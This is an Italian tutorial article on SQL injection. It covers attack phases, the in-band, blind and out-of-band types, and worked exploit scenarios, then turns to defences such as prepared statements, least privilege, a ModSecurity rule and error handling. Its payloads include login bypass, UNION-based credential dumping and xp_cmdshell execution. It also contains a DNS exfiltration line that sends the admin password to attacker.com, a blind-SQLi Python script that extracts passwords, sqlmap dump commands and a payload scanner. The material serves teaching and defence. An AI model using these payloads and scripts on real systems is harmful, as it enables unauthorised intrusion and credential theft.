L'SQL Injection (SQLi) è una vulnerabilità che permette a un attaccante di manipolare le query SQL di un'applicazione web. Nonostante sia nota da oltre 20 anni, rimane nella OWASP Top 10 e continua a causare violazioni massive. Vediamo come funziona realmente e come difendersi.

Flusso di attacco SQL Injection

Indice


Cos'è l'SQL Injection

L'SQL Injection è una tecnica di code injection che sfrutta una convalida insufficiente degli input dell'utente. L'attaccante inserisce codice SQL malevolo in campi di input ( moduli, parametri URL, header) che viene poi eseguito dal database.

Il problema di fondo è semplice: se concateni direttamente l'input dell'utente in una query SQL, stai eseguendo codice non attendibile.

Esempio classico vulnerabile:

// ❌ VULNERABLE CODE - DO NOT USE
$username = $_GET['user'];
$password = $_GET['pass'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

Cosa succede se un attaccante invia:

user=admin'--&pass=anything

La query diventa:

SELECT * FROM users WHERE username='admin'--' AND password='anything'

Il -- è un commento SQL che ignora tutto ciò che segue. L'attaccante si è appena loggato come admin senza conoscere la password.


Come funziona l'attacco

Gli attacchi SQL Injection si basano su 3 fasi:

1. Discovery (individuazione del punto di iniezione)

L'attaccante testa tutti gli input dell'applicazione con caratteri SQL speciali:

  • ' (apice singolo)
  • " (apice doppio)
  • ; (separatore di istruzioni)
  • -- (commento)
  • /* */ (commento multi-riga)
  • || (concatenazione)

Test di base:

# If the application responds with an SQL error, it's vulnerable
https://example.com/product.php?id=1'

# Typical error:
# "You have an error in your SQL syntax near '1'' at line 1"

2. Exploitation (sfruttamento della vulnerabilità)

Una volta trovato il punto vulnerabile, l'attaccante può:

A) Bypass dell'autenticazione:

' OR '1'='1
admin'--
' OR 1=1--

B) Estrazione di dati:

' UNION SELECT username, password FROM users--

C) Modifica dei dati:

'; UPDATE users SET password='hacked' WHERE username='admin'--

D) Esecuzione di comandi di sistema (se i permessi lo consentono):

'; EXEC xp_cmdshell('whoami')--  /* SQL Server */

3. Data exfiltration (esfiltrazione dei dati)

L'attaccante estrae progressivamente informazioni sensibili:

-- 1. Discover databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- 2. Discover tables
' UNION SELECT table_name FROM information_schema.tables--

-- 3. Discover columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- 4. Extract data
' UNION SELECT username, password FROM users--

Processo di esfiltrazione dati SQL Injection
Processo di estrazione dati tramite SQL Injection basata su UNION


Tipi di SQL Injection

Esistono diversi tipi di SQLi, ognuno dei quali richiede tecniche differenti.

1. In-band SQLi (classica)

L'attaccante utilizza lo stesso canale per iniettare e ricevere i dati.

Error-based:

' AND 1=CONVERT(int, (SELECT @@version))--

L'errore SQL rivela informazioni (versione del DB, struttura, ecc.).

UNION-based:

' UNION SELECT null, username, password FROM users--

L'output della seconda query viene visualizzato sulla pagina.

2. Blind SQLi

L'applicazione non mostra errori SQL, ma l'attaccante può dedurre informazioni dalle risposte.

Basata su booleani (Boolean-based):

# Test whether the first character of the admin password is 'a'
# TRUE: normal page
# FALSE: different page or error

payload = "' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

Basata sul tempo (Time-based):

-- If the condition is true, the DB waits 5 seconds
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

3. Out-of-Band SQLi

Utilizza canali esterni (DNS, HTTP) per estrarre dati. Rara ma potente.

-- SQL Server: exfiltrate data via DNS
'; DECLARE @data VARCHAR(1024); SELECT @data = (SELECT password FROM users WHERE username='admin'); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\\test"')--

Esempi pratici di exploit

Scenario 1: login bypass

Applicazione vulnerabile (PHP + MySQL):

<?php
// login.php - VULNERABLE
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Login successful!";
} else {
    echo "Login failed!";
}
?>

Exploit:

# Payload in the username field
admin'--

# Resulting query:
# SELECT * FROM users WHERE username='admin'--' AND password=''
# The -- comments out the rest, password check bypassed

Test con curl:

curl -X POST https://target.com/login.php \
  -d "username=admin'--&password=anything"

Scenario 2: Estrazione dati

Applicazione vulnerabile:

// product.php?id=5
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id=$id";

Passaggio 1 - Verifica del numero di colonne:

-- Test until you get results
?id=5 ORDER BY 1--    ✓
?id=5 ORDER BY 2--    ✓
?id=5 ORDER BY 3--    ✗ (error = 2 columns)

Passaggio 2 - Identificazione delle colonne visualizzate:

?id=-1 UNION SELECT 1,2--
# If you see "1" and "2" on the page, both columns are output

Passaggio 3 - Estrazione di dati sensibili:

-- Database version
?id=-1 UNION SELECT @@version, database()--

-- Database username
?id=-1 UNION SELECT user(), 2--

-- List of tables
?id=-1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

-- Dump credentials
?id=-1 UNION SELECT username, password FROM users--

Scenario 3: Blind SQLi con uno script Python

Quando l'app non mostra errori, scrivi uno script per automatizzare l'estrazione:

#!/usr/bin/env python3
import requests
import string

# Configuration
target = "https://target.com/product.php"
charset = string.ascii_lowercase + string.digits + "_"

def extract_database_name():
    """Extracts the database name using Boolean-based Blind SQLi"""
    db_name = ""

    for position in range(1, 20):  # Max 20 characters
        for char in charset:
            # Payload: if the character is correct, the page shows the product
            payload = f"1' AND SUBSTRING(database(),{position},1)='{char}'--"

            response = requests.get(target, params={"id": payload})

            # If the page contains "Product found", the character is correct
            if "Product found" in response.text:
                db_name += char
                print(f"[+] Found: {db_name}")
                break
        else:
            # No character found = end of string
            break

    return db_name

def extract_password(username):
    """Extracts the password using Time-based Blind SQLi"""
    password = ""

    for position in range(1, 50):  # Max 50 characters
        for char in charset:
            # If the character is correct, the DB waits 3 seconds
            payload = f"1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='{username}'),{position},1)='{char}',SLEEP(3),0)--"

            try:
                response = requests.get(target, params={"id": payload}, timeout=2)
            except requests.Timeout:
                # Timeout = character found
                password += char
                print(f"[+] Password: {password}")
                break
        else:
            break

    return password

if __name__ == "__main__":
    print("[*] Starting Blind SQLi exploitation...")

    db = extract_database_name()
    print(f"[+] Database name: {db}")

    pwd = extract_password("admin")
    print(f"[+] Admin password: {pwd}")

Esecuzione:

$ python3 blind_sqli.py
[*] Starting Blind SQLi exploitation...
[+] Found: s
[+] Found: sh
[+] Found: sho
[+] Found: shop
[+] Database name: shop_db
[+] Password: a
[+] Password: ad
[+] Password: adm
[+] Password: adm1
[+] Password: adm1n
[+] Admin password: adm1n123

Come difendersi

1. Prepared statements (query parametrizzate)

La soluzione definitiva. I parametri vengono inviati separatamente dalla query, quindi il DB non li interpreta mai come codice.

PHP (MySQLi):

// ✅ SAFE
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

PHP (PDO):

// ✅ SAFE
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
$stmt->execute(['user' => $username, 'pass' => $password]);
$result = $stmt->fetchAll();

Python (psycopg2 - PostgreSQL):

# ✅ SAFE
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))

Node.js (MySQL):

// ✅ SAFE
connection.query("SELECT * FROM users WHERE username=? AND password=?", [username, password], (err, results) => {
    // ...
});

2. Stored Procedures (con parametri)

-- Creating a stored procedure
CREATE PROCEDURE AuthenticateUser(
    IN p_username VARCHAR(50),
    IN p_password VARCHAR(255)
)
BEGIN
    SELECT * FROM users
    WHERE username = p_username
    AND password = p_password;
END;
// Safe call
$stmt = $conn->prepare("CALL AuthenticateUser(?, ?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

⚠️ Avviso: Le stored procedure sono sicure SOLO se utilizzano parametri. Se concatenano stringhe internamente, sono vulnerabili.

3. Validazione e sanificazione dell'input

Non è una difesa primaria, ma aggiunge un ulteriore livello di protezione.

// Whitelist for fields with limited allowed values
$allowed_sort = ['name', 'price', 'date'];
$sort = in_array($_GET['sort'], $allowed_sort) ? $_GET['sort'] : 'name';

$query = "SELECT * FROM products ORDER BY $sort";  // Safe because of the whitelist
// Type casting for numeric IDs
$id = (int)$_GET['id'];  // Cast to integer, impossible to inject SQL

$query = "SELECT * FROM products WHERE id=$id";  // Safe because $id is an int

Funzione di escape (ultima risorsa, NON raccomandata):

// ⚠️ Prepared statements are better
$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username='$username'";

4. Least privilege (minimo privilegio)

L'utente DB dell'applicazione NON deve essere root/admin.

-- ✅ Create a dedicated user with limited permissions
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- Only SELECT, INSERT, UPDATE on specific tables
GRANT SELECT, INSERT, UPDATE ON shop_db.products TO 'webapp'@'localhost';
GRANT SELECT, INSERT ON shop_db.orders TO 'webapp'@'localhost';

-- NO DELETE, NO DROP, NO GRANT
FLUSH PRIVILEGES;

Vantaggi:

  • Anche se viene sfruttata una SQLi, l'attaccante non può eliminare le tabelle
  • Non può creare nuovi utenti admin
  • Non può accedere ad altri database

5. WAF (Web Application Firewall)

Un WAF può bloccare i pattern SQLi comuni.

Esempio di regola ModSecurity:

# Block common SQLi patterns
SecRule ARGS "@rx (?i)(union.*select|select.*from|insert.*into|\bor\b.*=|1=1)" \
    "id:1000,phase:2,deny,status:403,log,msg:'SQL Injection detected'"

Nota: un WAF è un livello difensivo aggiuntivo e non sostituisce il codice sicuro. Esistono bypass per i WAF.

6. Gestione sicura degli errori

Non esporre mai errori SQL agli utenti:

// ❌ VULNERABLE - shows SQL errors
mysqli_query($conn, $query) or die(mysqli_error($conn));

// ✅ SAFE - log the error, show a generic message
if (!mysqli_query($conn, $query)) {
    error_log("DB Error: " . mysqli_error($conn));
    die("An error occurred. Please try again later.");
}

Strumenti di test

Il testing manuale delle richieste HTTP richiede strumenti differenti dall’automazione di SQLMap: il confronto operativo tra Burp Suite e OWASP ZAP spiega quando utilizzare ciascun proxy.

SQLMap - il re dello sfruttamento SQLi

Installazione:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h

Esempi di utilizzo:

# Basic test
python3 sqlmap.py -u "http://target.com/product.php?id=1"

# Specify a POST parameter
python3 sqlmap.py -u "http://target.com/login.php" \
  --data="username=admin&password=pass"

# Dump the entire database
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  --dump-all --batch

# Extract specific tables
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  -D shop_db -T users --dump

# Test with a session cookie
python3 sqlmap.py -u "http://target.com/admin.php?id=1" \
  --cookie="PHPSESSID=abc123def456"

# Interactive SQL shell
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  --sql-shell

Output tipico di SQLMap:

[*] starting @ 14:32:15
[14:32:15] [INFO] testing connection to the target URL
[14:32:16] [INFO] testing if the target URL is stable
[14:32:17] [INFO] target URL is stable
[14:32:17] [INFO] testing if GET parameter 'id' is dynamic
[14:32:18] [INFO] GET parameter 'id' appears to be dynamic
[14:32:19] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:32:20] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:21] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable
[14:32:22] [INFO] GET parameter 'id' is 'MySQL >= 5.0 UNION query' injectable

Altri strumenti utili

Tool Scopo Link Difficoltà
Burp Suite Intercetta e modifica le richieste, scanner SQLi integrato portswigger.net ⭐⭐
jSQL Injection GUI user-friendly per SQLi github.com/ron190/jsql-injection ⭐
NoSQLMap SQLi per database NoSQL (MongoDB, CouchDB) github.com/codingo/NoSQLMap ⭐⭐
Havij Strumento SQLi automatizzato (Windows) N/A (discontinuato) ⭐

Script personalizzato per test rapidi

#!/usr/bin/env python3
"""
sqli_quick_test.py - Quick SQLi vulnerability test
"""
import requests
import sys

# Common SQLi payloads
PAYLOADS = [
    "'",
    "''",
    "' OR '1'='1",
    "' OR '1'='1'--",
    "' OR '1'='1'/*",
    "admin'--",
    "' UNION SELECT NULL--",
    "1' AND 1=1--",
    "1' AND 1=2--",
]

# SQL error patterns
ERROR_PATTERNS = [
    "sql syntax",
    "mysql_fetch",
    "mysqli",
    "Warning: mysql",
    "PostgreSQL",
    "Driver.*SQL",
    "ORA-01",
    "DB2 SQL error",
]

def test_sqli(url):
    """Runs a basic SQLi vulnerability test against a URL"""
    print(f"[*] Testing {url}")
    vulnerable = False

    for payload in PAYLOADS:
        try:
            # Test GET parameter
            if "?" in url:
                test_url = url.replace("=", f"={payload}")
            else:
                test_url = f"{url}?id={payload}"

            response = requests.get(test_url, timeout=5)

            # Check for SQL errors
            for error in ERROR_PATTERNS:
                if error.lower() in response.text.lower():
                    print(f"[!] VULNERABLE with payload: {payload}")
                    print(f"[!] Error found: {error}")
                    vulnerable = True
                    break

        except Exception as e:
            print(f"[-] Error with payload {payload}: {e}")

    if not vulnerable:
        print("[+] No obvious SQLi found (not conclusive)")

    return vulnerable

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 sqli_quick_test.py <URL>")
        sys.exit(1)

    url = sys.argv[1]
    test_sqli(url)

Esecuzione:

python3 sqli_quick_test.py "http://target.com/product.php?id=1"

Da ricordare

L'SQL Injection è prevenibile al 100% utilizzando prepared statements. Non ci sono scuse.

  1. Non concatenare mai l'input dell'utente nelle query SQL - usa sempre prepared statements
  2. Testa le tue applicazioni - usa SQLMap prima che lo faccia qualcun altro
  3. Defense in depth - prepared statements + least privilege + WAF + gestione degli errori
  4. Non fidarti del client - valida sempre lato server

Passaggi successivi:


FAQ

D: I prepared statements funzionano con query dinamiche (ORDER BY, LIMIT)?
R: I parametri preparati funzionano solo per i VALUES. Per clausole come ORDER BY, usa una whitelist di valori consentiti. Esempio: $allowed = ['name','price']; $sort = in_array($_GET['sort'], $allowed) ? $_GET['sort'] : 'name';

D: Gli ORM come Laravel/Django sono immuni a SQLi?
R: Gli ORM utilizzano prepared statements internamente, MA se utilizzi query raw o metodi non sicuri (whereRaw, DB::raw) sei vulnerabile. Valida sempre l'input anche con un ORM.

D: Come posso testare SQLi su un modulo di login con CAPTCHA?
R: Usa strumenti che mantengono la sessione (Burp Repeater) o risolvi manualmente il CAPTCHA una volta e poi riproduci la richiesta. Alcuni CAPTCHA hanno bypass lato client.

D: L'SQLi funziona contro API REST/GraphQL?
R: Sì, se l'API costruisce query SQL dai parametri JSON/GraphQL senza prepared statements. Testa header, corpi JSON e query GraphQL con payload SQLi.


Riferimenti:

  1. OWASP SQL Injection
  2. CWE-89: SQL Injection
  3. SQLMap Documentation
  4. PortSwigger SQL Injection Cheat Sheet

Ultimo aggiornamento: 7 gennaio 2025 - Utilizza i test di sicurezza solo su sistemi autorizzati. L'SQLi senza autorizzazione è un reato.